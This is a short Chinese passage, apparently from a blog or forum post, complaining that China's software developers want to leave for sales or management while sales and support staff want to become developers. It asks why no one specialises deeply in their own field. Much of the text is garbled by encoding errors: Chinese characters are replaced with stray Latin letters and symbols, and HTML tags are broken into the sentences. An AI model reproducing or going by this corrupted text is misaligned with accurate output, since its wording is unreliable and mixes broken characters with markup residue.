不再做技术了。我q时不由的想P中国软g业的技术h员们都怎么了?q也是一个围?br />吗?外面有大把的销售、技术支持想做Y件开发,而Y件开发的人又大把的想跛_d销?br />做管理。难道没有h能够专心的在自己的领域进行深度上的发展吗Q?/p>